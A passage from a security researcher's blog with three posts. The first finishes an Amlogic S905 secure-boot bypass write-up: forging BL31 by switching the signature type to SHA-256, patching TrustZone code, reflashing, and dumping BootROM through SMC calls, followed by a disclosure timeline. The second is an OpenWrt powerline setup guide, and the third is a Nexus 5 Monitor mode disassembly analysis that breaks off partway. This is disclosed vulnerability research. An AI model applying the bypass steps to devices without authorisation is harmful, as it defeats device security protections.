<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">magic</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span><span class="c1">// "@AML"</span>
<span class="kt">uint32_t</span> <span class="n">total_len</span><span class="p">;</span>
<span class="kt">uint8_t</span> <span class="n">header_len</span><span class="p">;</span>
<span class="kt">uint8_t</span> <span class="n">unk_x9</span><span class="p">;</span>
<span class="kt">uint8_t</span> <span class="n">unk_xA</span><span class="p">;</span>
<span class="kt">uint8_t</span> <span class="n">unk_xB</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">unk_xC</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">sig_type</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">sig_offset</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">sig_size</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">data_offset</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">unk_x20</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">cert_offset</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">cert_size</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">data_len</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">unk_x30</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">code_offset</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">code_len</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">unk_x3C</span><span class="p">;</span>
<span class="p">}</span> <span class="n">aml_img_header_t</span><span class="p">;</span>
</pre></div>
<p>The header indicates that the image is split in 4 parts:<br>
<ul>
<li>header : always 64 bytes</li>
<li>signature : RSA-1024, RSA-2048, RSA-4096 or SHA-256</li>
<li>cert : x509 certificate</li>
<li>code: payload</li>
</ul>
On our target device, the signature type of the BL31 image
(<i>sig_type</i> in the header) is SHA-256. This is intriguing
because a SHA-256 hash alone is not enough to provide
authentication.<br>
The following pseudocode is the simplified algorithm of the
authentication routine in BL2 :<br></p>
<div class="highlight"><pre><span></span><span class="kt">int</span> <span class="nf">auth_image</span><span class="p">(</span><span class="n">aml_img_header_t</span> <span class="o">*</span><span class="n">img</span><span class="p">){</span>
<span class="n">validate_header</span><span class="p">(</span><span class="n">img</span><span class="p">);</span> <span class="c1">// checks on magic value & header length</span>
<span class="n">hash</span> <span class="o">=</span> <span class="n">hash_sha256</span><span class="p">(</span><span class="n">img</span><span class="p">);</span><span class="c1">// hash whole image except signature</span>
<span class="k">if</span><span class="p">(</span><span class="n">img</span><span class="o">-></span><span class="n">sig_type</span> <span class="o">==</span> <span class="n">RSA</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="n">check_rsa_signature</span><span class="p">(</span><span class="n">img</span><span class="p">,</span> <span class="n">hash</span><span class="p">)</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">return</span> <span class="n">memcmp</span><span class="p">(</span><span class="n">hash</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">img</span> <span class="o">+</span> <span class="p">(</span><span class="n">img</span><span class="o">-></span><span class="n">sig_offset</span><span class="p">));</span>
<span class="p">}</span>
<span class="p">}</span>
</pre></div>
<p>We can confirm that the SHA-256 option will only hash the loaded
image and compare the result against the precomputed hash in the
same image. We could have imagined a more complex solution like a
HMAC, but actually in this case only the integrity is checked,
there is no authentication.<br>
<br>
And even if the loaded image is signed with RSA, we can still
switch the signature type to SHA-256 and regenerate the correct
hash.<br>
This issue could have been avoided if the signature type was
enforced by an eFuse.<br>
<br>
This means we can easily modify the BL31 image, the most privileged
code in TrustZone.<br>
<h3>Customizing BL31 image</h3>
In a previous section, we described the SMC function
<i>hdcp22_sec_read_reg</i> that can read restricted ranges of
secure memory from Normal World.<br>
Time to practice our NOPing-fu to get rid of these limitations and
thus obtain full access to secure memory.<br>
<br>
<table align="center" cellpadding="0" cellspacing="0" class=
"tr-caption-container" style=
"margin-left: auto; margin-right: auto; text-align: center;">
<tbody>
<tr>
<td style="text-align: center;">
<img alt="" src="proxy.php?url=https://fredericb.info/blog/amlogic-sb/bl31-hdcp22_sec_read_reg-asm-custom.png">
</td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">
Modified hdcp22_sec_read_reg function</td>
</tr>
</tbody>
</table>
<br>
We also need to extend the page tables because the BootROM memory
area is not mapped. The MMU initialization is implemented in the
ATF code base, so again this is easy to spot and analyze in the
BL31 binary.<br>
By default, the following memory regions are mapped:<br>
<table align="center" cellpadding="0" cellspacing="0" class=
"tr-caption-container" style=
"margin-left: auto; margin-right: auto; text-align: center;">
<tbody>
<tr>
<td style="text-align: center;">
<img alt="" src="proxy.php?url=https://fredericb.info/blog/amlogic-sb/plat_gxb_mmap.png">
</td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">Original list of
memory regions mapped in BL31</td>
</tr>
</tbody>
</table>
<br>
We extend the size of one of them to cover the BootROM region:<br>
<table align="center" cellpadding="0" cellspacing="0" class=
"tr-caption-container" style=
"margin-left: auto; margin-right: auto; text-align: center;">
<tbody>
<tr>
<td style="text-align: center;">
<img alt="" src="proxy.php?url=https://fredericb.info/blog/amlogic-sb/bl31-plat_gxb_mmap-custom.png">
</td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">Modified list of
memory regions mapped in BL31</td>
</tr>
</tbody>
</table>
<br>
The new size of mapped region 0xD9000000 is 0x80000 so it includes
the BootROM area 0xD9040000-0xD9050000.<br>
We're almost done with BL31 modifications: we still need to update
the SHA-256 hash.<br>
<br>
<h3>aml_bootloader_tool: parse and rehash Amlogic bootloaders</h3>
This tool can parse and regenerate the SHA-256 of bootloaders
contained in the <i>bootloader</i> partition. The <a href=
"https://github.com/frederic/aml_bootloader_tool">source code is on
GitHub</a>.<br>
Each bootloader is identified by an UUID, they are <a href=
"https://github.com/ARM-software/arm-trusted-firmware/blob/master/include/common/firmware_image_package.h">
defined in the ATF source code</a>. In our case, the BL31 image is
entry #2:<br></p>
<div class="highlight"><pre><span></span>$ ./aml_bootloader_tool ./dump/bootloader.img H <span class="m">2</span>
fip_toc_header.name: aa640001
fip_toc_header.serial_number: <span class="m">12345678</span>
fip_toc_header.flags: <span class="m">0</span>
TOC ENTRY <span class="c1">#2</span>
fip_toc_entry.uuid: 47D4086D4CFE98469B952950CBBD5A00
fip_toc_entry.offset_address: <span class="m">14000</span> <span class="o">(</span>absolute: 0x20000<span class="o">)</span>
fip_toc_entry.size: 0x11130
fip_toc_entry.flags: 0x0
magic<span class="o">[</span>@0x0<span class="o">]</span>: @AML
total_len<span class="o">[</span>@0x4<span class="o">]</span>: 0x11130
header_len<span class="o">[</span>@0x8<span class="o">]</span>: 0x40
unk_xC<span class="o">[</span>@0xC<span class="o">]</span>: 0x5eec9094
sig_type<span class="o">[</span>@0x10<span class="o">]</span>: 0x0
sig_offset<span class="o">[</span>@0x14<span class="o">]</span>: 0x40
sig_len<span class="o">[</span>@0x18<span class="o">]</span>: 0x20
data_offset<span class="o">[</span>@0x1c<span class="o">]</span>: 0x60
unk_x20<span class="o">[</span>@0x20<span class="o">]</span>: 0x0
cert_offset<span class="o">[</span>@0x24<span class="o">]</span>: 0x60
cert_len: 0x0
data_len: 0x110d0
unk_x30<span class="o">[</span>@0x30<span class="o">]</span>: 0x0
code_offset<span class="o">[</span>@0x34<span class="o">]</span>: 0x60
code_len<span class="o">[</span>@0x38<span class="o">]</span>: 0x110d0
unk_x3C<span class="o">[</span>@0x3C<span class="o">]</span>: 0x0
signature: 263BEFAFC5A051C550D31791EC1212576BE65DB8AD365074560F0BABC076D3CA
computed_sha256: 35AD6B284EE2D6B5672DD0958592028D5BF455A6DCD1EB086D8336FB86533853
</pre></div>
<p>The hash of the BL31 image has been updated, we can now reflash the
dump on the device:<br></p>
<div class="highlight"><pre><span></span>$ dd <span class="k">if</span><span class="o">=</span>./bootloader.img <span class="nv">of</span><span class="o">=</span>/dev/block/bootloader
</pre></div>
<p>Finally, we reboot the device to load our customized BL31 image in
TrustZone.<br>
<h2>Dumping the BootROM</h2>
The SMC system call can only be invoked from EL1 and above. So we
create a simple kernel module that will perform SMC calls to our
modified function <i>hdcp22_sec_read_reg</i> in
EL3<i>.</i><br>
This quick 'n dirty hack is based on the Amlogic debugfs driver
<i>reg_access</i>. The <a href=
"https://github.com/frederic/smc_access">source code is on
GitHub</a>.<br>
Once loaded, to initiate a SMC call, we write arguments to the
file <i>/sys/kernel/debug/aml_smc/smc</i>. The first argument
is the ID of the called SMC function (0x82000018 in the case
of <i>hdcp22_sec_read_reg</i>). The second argument (for this
specific SMC ID) is the read memory address. The result DWORD is
directly printed in kernel logs (we said dirty).<br></p>
<div class="highlight"><pre><span></span>$ insmod ./smc_access.ko
$ <span class="nb">echo</span> <span class="m">82000018</span> D9040000 > /sys/kernel/debug/aml_smc/smc
<span class="o">[</span> <span class="m">219</span>.092948@0<span class="o">]</span> smc_access: SMC call <span class="m">82000018</span> returns: aa1f03e0
</pre></div>
<div>The result <b>aa1f03e0</b> is promising, it corresponds to the
ARM instruction: <b>MOV X0, XZR</b><br>
To automate the extraction of the entire BootROM memory region, we
create a simple script:</div>
<div class="highlight"><pre><span></span>$ seq -f %1.f 0xD9040000 0x4 0xD9050000 <span class="p">|</span> xargs <span class="nb">printf</span> <span class="s2">"echo \"82000018 %x\" > /sys/kernel/debug/aml_smc/smc\n"</span>
<span class="nb">echo</span> <span class="s2">"82000018 d9040000"</span> > /sys/kernel/debug/aml_smc/smc
<span class="nb">echo</span> <span class="s2">"82000018 d9040004"</span> > /sys/kernel/debug/aml_smc/smc
<span class="nb">echo</span> <span class="s2">"82000018 d9040008"</span> > /sys/kernel/debug/aml_smc/smc
<span class="o">[</span>...<span class="o">]</span>
<span class="nb">echo</span> <span class="s2">"82000018 d904fff8"</span> > /sys/kernel/debug/aml_smc/smc
<span class="nb">echo</span> <span class="s2">"82000018 d904fffc"</span> > /sys/kernel/debug/aml_smc/smc
</pre></div>
<div>And finally, we concate all these DWORDS into a file
<b>bootrom.bin</b>. </div>
<div class="highlight"><pre><span></span>$ ls -l ./bootrom.bin
-rw-r--r-- <span class="m">1</span> user user <span class="m">65537</span> juil. <span class="m">8</span> <span class="m">12</span>:43 ./bootrom.bin
$ sha1sum bootrom.bin
bff0c7fb88b4f03e732dc7a4ce504d748d0d47dd bootrom.bin
$ strings bootrom.bin <span class="p">|</span>tail -22
BL1:
FEAT
READ
EMMC
NAND
LOOP
auth failed, reboot...
08dafda0fd31778
glacier.amlogic
qian
<span class="m">04</span>/14/15_14:23:08
gcc version <span class="m">4</span>.8
08dafda0fd31778
boot@USB
boot@SDC
BAD PASSWORD
!!!!
vRQ>
8STs
LwH<span class="err">'</span>
Err:sha
<span class="m">0</span>!0
</pre></div>
<h2>Conclusion</h2>
<p>The S905 SoC provides hardware features to support Secure Boot,
however OEMs can still choose to enable it or not. But even when
Secure Boot is enforced, a flaw in the current version of Amlogic's
BL2 allows to bypass it. So Trusted Execution Environment cannot be
trusted. The good news is BL2 can be patched, unlike BootROM.<br>
<br>
<i>I would like to thank @Karnalzi for the help!</i><br>
<h2>Disclosure Timeline</h2>
2016-08-08 : Flaw discovered<br>
2016-08-08 : Amlogic & some affected OEMs contacted by email to
find a security PoC<br>
2016-08-10 : OEM #1 replies that "Amlogic doesn't provide any
direct contact."<br>
2016-08-20 : Second attempt to contact Amlogic by email<br>
2016-09-05 : Bug report shared with Amlogic<br>
2016-09-13 : Status update requested<br>
2016-09-25 : Status update requested<br>
2016-10-05 : Public disclosure</div></p>PowerLine (PLC) support in OpenWrt for D-Link DHP-15652016-02-20T13:55:00-08:002016-02-20T13:55:00-08:00Frédérictag:fredericb.info,2016-02-20:/2016/02/powerline-plc-support-in-openwrt-for-d.html<p>D-Link 1565 is one of the few routers which integrates a PLC (Power
line Communication) chipset (in this case QCA AR7400).
Unfortunately, OpenWrt does not provide support for this feature
yet.<br>
<br>
This post presents configuration steps to enable PLC support in
OpenWrt for this device.
<h2>Hardware configuration</h2>
By digging into …</p><p>D-Link 1565 is one of the few routers which integrates a PLC (Power
line Communication) chipset (in this case QCA AR7400).
Unfortunately, OpenWrt does not provide support for this feature
yet.<br>
<br>
This post presents configuration steps to enable PLC support in
OpenWrt for this device.
<h2>Hardware configuration</h2>
By digging into <a href="proxy.php?url=http://tsd.dlink.com.tw/">D-Link GPL
source code</a> released for this device, especially function
<b>proprietary_s17_init()</b> in file
<strong>DHP1565A1_1.01b13_FOSS/src/AthSDK/platform/PLC/drivers/ethernet/phys/athrs17_phy.c</strong>,
we notice the port 6 of internal switch AR8327 is related to
PLC:<br>
<div class="separator" style="clear: both; text-align: center;">
<img alt="" src="proxy.php?url=https://fredericb.info/blog/dhp-1665-plc/athsdk_port6config.png">
</div>
<br>
This port 6 is configured as a RGMII interface to communicate with
PLC chipset. The following patch reproduces the same configuration
in OpenWrt:<br>
<script src=
"https://gist.github.com/frederic/d9d91c2221f04df3a36a.js">
</script> To build a custom firmware image, please see <a href=
"https://wiki.openwrt.org/doc/howto/build">OpenWrt build system
wiki page</a>.<br>
To flash an OpenWrt image, please see <a href=
"https://wiki.openwrt.org/doc/howto/generic.flashing">OpenWrt
flashing wiki page</a>. Don't forget to choose
the <i>factory</i> image if you're still running the OEM
firmware. If you are already using an OpenWrt firmware, you can use
the <i>sysupgrade</i> image.
<h2>Network configuration</h2>
Once our customized OpenWrt image is flashed & booted, we are
already able to see PLC bootloader probes with the swconfig
command:<br></p>
<div class="highlight"><pre><span></span>$ swconfig dev switch0 show
<span class="o">[</span>...<span class="o">]</span>
Port <span class="m">6</span>:
mib: Port <span class="m">6</span> MIB counters
RxBroad : <span class="m">2282</span>
Rx64Byte : <span class="m">2282</span>
RxGoodByte : <span class="m">146048</span>
Filtered : <span class="m">2152</span>
<span class="o">[</span>...<span class="o">]</span>
enable_eee: ???
pvid: <span class="m">0</span>
link: port:6 link:up speed:1000baseT full-duplex txflow rxflow
<span class="o">[</span>...<span class="o">]</span>
</pre></div>
<p>The <b>pvid</b> field indicates that the primary VLAN
identifier of port 6 is 0. In
file <b>/etc/config/network</b>, we add the port 6 to VLAN
identifier 2, which is dedicated to WAN interface in default
configuration:<br>
<blockquote class="tr_bq">config switch_vlan<br>
option device 'switch0'<br>
option vlan '2'<br>
option ports '0t 5 <b>6</b>'</blockquote>
<i>Warning: configuring PLC port into WAN interface could be a
security issue: any host on WAN side can access to PLC chipset. To
prevent this risk, you might need to set up a different VLAN
configuration.</i>
<h2>System configuration</h2>
<h3>open-plc-utils</h3>
Since the PLC chipset is flashless on this board, PLC firmware
needs to be loaded at each boot. We can use <a href=
"https://github.com/qca/open-plc-utils">Qualcomm Atheros Open
Powerline Toolkit</a> to manage & configure this PLC chipset.<br>
<br>
We can cross-compile <a href=
"https://github.com/qca/open-plc-utils">open-plc-utils</a> with the
<a href=
"https://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/">OpenWrt
toolchain</a>.<br>
First, we setup the following environment variables:<br></p>
<div class="highlight"><pre><span></span><span class="nv">PATH</span><span class="o">=</span><span class="nv">$PATH</span>:<OpenWrt-Toolchain-ar71xx>/bin
<span class="nv">CROSS</span><span class="o">=</span>mips-openwrt-linux-musl-
<span class="nv">ROOTFS</span><span class="o">=</span><open-plc-utils>/build
</pre></div>
<p>Then, <b>make</b> & <b>make install</b> commands are enough to
build it.<br>
Finally, we copy these freshly built binaries to the device in
<b>/overlay/upper/open-plc-utils/</b>.<br>
<br>
To do a quick test, we can try the <b>Request Information</b>
command:<br>
<blockquote class="tr_bq"># /overlay/upper/open-plc-utils/amptool
-i eth0.2 -Iar<br>
eth0.2 00:B0:52:00:00:01 Request Version Information<br>
eth0.2 00:B0:52:00:00:01 <b>AR7400 BootLoader</b><br>
eth0.2 00:B0:52:00:00:01 Fetch Device Attributes<br>
eth0.2 00:B0:52:00:00:01 Device Identity</blockquote>
<div>The line "AR7400 Bootloader" indicates that PLC chipset is
ready to load a firmware.
<h3>PLC firmware</h3>
<div>The PLC firmware blob can be found in the <a href=
"http://tsd.dlink.com.tw/">original firmware image</a>. Using
<a href="proxy.php?url=http://binwalk.org/">Binwalk</a>, we extract the content
of the <b>/plc</b> directory from the original rootfs, and copy it
to <b>/overlay/upper/plc/</b>.</div>
<div>The NVM file is the firmware blob, and PIB files are
configuration files: <i>ceb</i> stands for Europe, and <i>na</i>
for North America.</div>
<div><br></div>
<div>The <b>ampboot</b> tool allows to load the firmware:</div>
<blockquote class="tr_bq"># /open-plc-utils/ampboot -i eth0.2 -P
/plc/plc.ceb.pib -N /plc/plc.nvm<br>
eth0.2 00:B0:52:00:00:01 Write /plc/plc.nvm (0)
(00000040:17256)<br>
eth0.2 00:B0:52:00:00:01 Start /plc/plc.nvm (0) (000000C0)<br>
eth0.2 00:B0:52:00:00:01 Write /plc/plc.ceb.pib (0)
(00200000:16352)<br>
eth0.2 00:B0:52:00:00:01 Write /plc/plc.nvm (3)
(00341194:423788)<br>
eth0.2 00:B0:52:00:00:01 Start /plc/plc.nvm (3) (00341A88)<br>
eth0.2 00:11:22:33:44:55
INT7400-MAC-5-2-5203-01-913-20110713-FINAL-B is
running</blockquote>
<div>By default, the HomeplugAV key is used. You can get more
information with the amptool command used earlier. This can also be
used to discover/join/leave a network, modify the NMK key,
etc...</div>
<h3>init.d script</h3>
<div>To load the PLC firmware at each boot, create the following
init script <b>/etc/rc.d/S25amphost</b> :</div>
<div></p>
<div class="highlight"><pre><span></span><span class="ch">#!/bin/sh /etc/rc.common</span>
<span class="c1">#start right after network</span>
<span class="nv">START</span><span class="o">=</span><span class="m">25</span>
<span class="nv">USE_PROCD</span><span class="o">=</span><span class="m">1</span>
start_service<span class="o">()</span> <span class="o">{</span>
procd_open_instance
procd_set_param <span class="nb">command</span> /open-plc-utils/amphost -i eth0.2 -P /plc/plc.ceb.pib -N /plc/plc.nvm
procd_set_param respawn
procd_close_instance
<span class="o">}</span>
service_triggers<span class="o">()</span>
<span class="o">{</span>
procd_add_reload_trigger <span class="s2">"amphost"</span>
<span class="o">}</span>
</pre></div>
<p></div>
<div>Then, to enable this script at startup:</div></p>
<div class="highlight"><pre><span></span>$ /etc/init.d/amphost <span class="nb">enable</span>
</pre></div>
<div>Et voilà !</div>
</div>Analysis of Nexus 5 Monitor mode2014-12-25T13:28:00-08:002014-12-25T13:28:00-08:00Frédérictag:fredericb.info,2014-12-25:/2014/12/analysis-of-nexus-5-monitor-mode.html<p>This article will first describe how to locate the Monitor mode
code in Nexus 5 firmware (<a href=
"https://dl.google.com/dl/android/aosp/hammerhead-ktu84p-factory-35ea0277.tgz">hammerhead-ktu84p-factory-35ea0277</a>,
bootloader-hammerhead-hhz11k : c32f8bec310c659c1296739b00c6a8ac).
Then, we will try to understand what it does (its functionalities).
Finally, you will have to find bugs by yourself because I didn't
find any...so far !</p>
<p><em>Note: Terms (Non-)Secure …</em></p><p>This article will first describe how to locate the Monitor mode
code in Nexus 5 firmware (<a href=
"https://dl.google.com/dl/android/aosp/hammerhead-ktu84p-factory-35ea0277.tgz">hammerhead-ktu84p-factory-35ea0277</a>,
bootloader-hammerhead-hhz11k : c32f8bec310c659c1296739b00c6a8ac).
Then, we will try to understand what it does (its functionalities).
Finally, you will have to find bugs by yourself because I didn't
find any...so far !</p>
<p><em>Note: Terms (Non-)Secure world & (Non-)Secure state are used as
synonyms. Term Normal world is also used as synonym of Non-Secure
world.</em>
<h2>I. Quick introduction to ARM Security Extensions</h2>
"The Security Extensions define two security states: Secure state
and Non-secure state. All instruction execution takes place either
in Secure state or in Non-secure state.[...] The Security
Extensions also define an additional processor mode, Monitor mode,
that provides a bridge between software running in Non-secure state
and software running in Secure state."<br>
"The Secure Monitor Call exception is implemented only as part of
the Security Extensions. The Secure Monitor Call instruction, SMC ,
requests a Secure Monitor function, causing the processor to enter
Monitor mode."<br>
"When an exception is taken, processor execution is forced to an
address that corresponds to the type of exception. This address is
called the exception vector for that exception. A set of exception
vectors comprises eight consecutive word-aligned memory addresses,
starting at an exception base address. These eight vectors form a
vector table."<br>
-- <a href=
"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0406c/index.html">
ARM Architecture Reference Manual ARMv7-A</a><br>
<h2>II. OpenSource TrustZone examples</h2>
Trusted Execution Environment (TEE) is the "small" secure kernel
executed in Secure state. The Monitor code <a href=
"http://www.arm.com/products/processors/technologies/trustzone/index.php">
is part of</a> the TEE code.<br>
To get an idea of how the Monitor code works, we can take a look at
two TrustZone examples:<br>
<ul>
<li><a href=
"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.faqs/ka15417.html">
Cortex-A9 TrustZone example by ARM</a> : a simple example of secure
and non-secure code that communicates through Monitor mode.</li>
<li><a href="proxy.php?url=https://github.com/OP-TEE/optee_os">OP-TEE by
STMicroelectronics</a> : an Open Source TEE 1.0
implementation.</li>
</ul>
After studying these code samples, we can clearly distinguish two
parts in Monitor code:<br>
<h3>Monitor mode initialization:
called once, at TEE initialization time.</h3>
In this code, we can notice two specific instructions :<br>
<ul>
<li>Monitor Vector Base Address Register (MVBAR) setup: MVBAR
contains the Monitor vector table address. Both samples use the
same instructions to setup MVBAR :</li>
<li style="list-style: none"> MCR p15,
0, $RX,c12,c0, 1<br>
where $RX is a pointer to the monitor mode's vector table.<br>
<br></li>
<li>SP register setup: the Monitor mode stack address is set into
SP register. This register is banked, which means this value will
be automatically restored next time the processor enters in Monitor
mode.</li>
</ul>
<h3>Exception vectors: called when
an exception is taken to Monitor mode.</h3>
Both samples implement a simple Secure Monitor Call (SMC) handler
that switches between the normal and secure worlds when a SMC call
is made. As SMC handler is an entry point to the Secure state, it
would be interesting to analyze it in Nexus 5 firmware.<br>
<h2>III. Extracting Nexus 5 firmware</h2>
We know that the Monitor code may be embedded into the TEE image.
In the case of Nexus 5, this image can be extracted from stock
ROM.<br>
Once downloaded, we use a small <a href=
"https://gist.github.com/frederic/cd56923c8af46ae44fd5">tool to
unpack bootloader-hammerhead-hhz11k.img file</a>. One of extracted
files is an ELF ARM binary named "tz".<br>
<h2>IV. Nexus 5 Monitor mode code</h2>
To analyze the Nexus 5 TrustZone binary, we can use <a href=
"https://www.hex-rays.com/products/ida/support/download_demo.shtml">
IDA Demo 6.6</a>.<br>
Given that setting up MVBAR is very specific to the monitor mode's
initialization code, we use it to locate the Monitor mode's
initialization code in Nexus 5 TrustZone binary.<br>
Using IDA regex search in code disassembly, we look for the
instruction used to write MVBAR :<br>
<blockquote class="tr_bq" style=
"background-color: white; color: black;"><span style=
"color: navy; font-family: FixedSys; white-space: pre;">MCR</span>[[:space:]]+<span style="color: navy; font-family: FixedSys; white-space: pre;">p15,</span>
<span style=
"color: green; font-family: FixedSys; white-space: pre;">0</span><span style="color: navy; font-family: FixedSys; white-space: pre;">,</span>
[^,]+<span style=
"color: navy; font-family: FixedSys; white-space: pre;">,c12,c0,</span>
<span style=
"color: green; font-family: FixedSys; white-space: pre;">1</span></blockquote>
This search returns only 3 occurrences, and one of them also sets
the SP register. These instructions are expected to be found in
Monitor mode initialization code.<br>
<h3>IV.1. Monitor mode initialization function</h3>
Here's the disassembly of the Monitor mode initialization code
:<br></p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80DB4C</span> <span class="no">init_monitor</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB4C</span> <span class="no">MSR</span> <span class="no">CPSR_c</span><span class="p">,</span> <span class="c1">#0xD6 ; switch to Monitor mode</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB50</span> <span class="no">LDR</span> <span class="no">R0</span><span class="p">,</span> <span class="err">=</span><span class="no">monitor_vector_table</span> <span class="c1">; load monitor vector table ptr into R0</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB54</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c12</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span> <span class="mi">1</span> <span class="c1">; write R0 to MVBAR</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB58</span> <span class="no">BL</span> <span class="no">sub_FE80DB88</span> <span class="c1">; initialize Non-Secure world</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB5C</span> <span class="no">LDR</span> <span class="no">SP</span><span class="p">,</span> <span class="err">=</span><span class="mi">0xFE82B700</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB60</span> <span class="no">MRC</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span> <span class="mi">5</span> <span class="c1">; write MPIDR value to R0</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB64</span> <span class="no">AND</span> <span class="no">R0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span> <span class="c1">#0xFF ; keep Affinity level 0 : current virtual CPU id</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB68</span> <span class="no">MOV</span> <span class="no">R1</span><span class="p">,</span> <span class="c1">#0x200</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB6C</span> <span class="no">MUL</span> <span class="no">R1</span><span class="p">,</span> <span class="no">R1</span><span class="p">,</span> <span class="no">R0</span> <span class="c1">; compute stack offset for current vCPU</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB70</span> <span class="no">SUB</span> <span class="no">SP</span><span class="p">,</span> <span class="no">SP</span><span class="p">,</span> <span class="no">R1</span> <span class="c1">; setup Monitor stack register SP</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB74</span> <span class="no">MOV</span> <span class="no">R0</span><span class="p">,</span> <span class="c1">#0b100</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB78</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c1</span><span class="p">,</span><span class="no">c1</span><span class="p">,</span> <span class="mi">0</span> <span class="c1">; set FIQ flag in SCR register</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB7C</span> <span class="no">ISB</span> <span class="no">SY</span> <span class="c1">; flush the pipeline in the processor</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB80</span> <span class="no">MSR</span> <span class="no">CPSR_c</span><span class="p">,</span> <span class="c1">#0xD3 ; switch to Supervisor mode</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB84</span> <span class="no">BX</span> <span class="no">LR</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB84</span> <span class="c1">; End of function init_monitor</span>
</pre></div>
<p><br>
We will now proceed to a detailed analysis of each step.<br>
<h5>IV.1.A Switch to Monitor mode</h5>
MSR instruction moves an immediate value (here 0xD6) to a Special
register (here CPSR_c).</p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80DB4C</span> <span class="no">MSR</span> <span class="no">CPSR_c</span><span class="p">,</span> <span class="c1">#0xD6 ; switch to Monitor mode</span>
</pre></div>
<p>The Current Program Status Register (CPSR) holds processor status
and control information. CPSR with "_c" suffix enables writing of
bits<0:7> of CPSR (<a href=
"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0406c/index.html">ARM
Ref.</a> B9.3.11). This bitfield controls the processor mode and
exception masks.</p>
<p>We can use a simple IDAPython script to replace the immediate value
0xD6 with symbols documented in <a href=
"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0406c/index.html">
ARM Ref.</a> (B1-1148) :<br>
<script src=
"https://gist.github.com/frederic/251c453abc3c520a94be.js">
</script>Thus, the instruction becomes:</p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80DB4C</span> <span class="no">MSR</span> <span class="no">CPSR_c</span><span class="p">,</span> <span class="c1">#CPSR_MODE_MON OR CPSR_MASK_FIQ OR CPSR_MASK_IRQ ; switch to Monitor mode</span>
</pre></div>
<p>This instruction switches the processor to Monitor mode. It also
sets CPSR.F and CPSR.I bits to mask FIQ and IRQ exceptions, meaning
they cannot be taken.
<h5>IV.1.B Setup MVBAR</h5>
The Move to Coprocessor from ARM core register instruction (MCR)
passes the value of an ARM core register (here R0) to a coprocessor
(here CP15).</p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80DB50</span> <span class="no">LDR</span> <span class="no">R0</span><span class="p">,</span> <span class="err">=</span><span class="no">monitor_vector_table</span> <span class="c1">; load monitor vector table ptr into R0</span>
<span class="nl">LOAD:</span><span class="nf">FE80DB54</span> <span class="no">MCR</span> <span class="no">p15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="no">R0</span><span class="p">,</span><span class="no">c12</span><span class="p">,</span><span class="no">c0</span><span class="p">,</span> <span class="mi">1</span> <span class="c1">; write R0 to MVBAR</span>
</pre></div>
<p>CP15 c12 register is present on an ARMv7-A implementation that
includes Security Extensions. This instruction writes R0 value to
MVBAR. R0 contains a pointer to Monitor vector table. We will
describe this table later.
<h5>IV.1.C Initialize Non-Secure world</h5>
The function sub_FE80DB88 is called to initialize the
Non-Secure world context:</p>
<div class="highlight"><pre><span></span><span class="nl">LOAD:</span><span class="nf">FE80DB88</span> <span class="no">sub_FE80DB88</span>
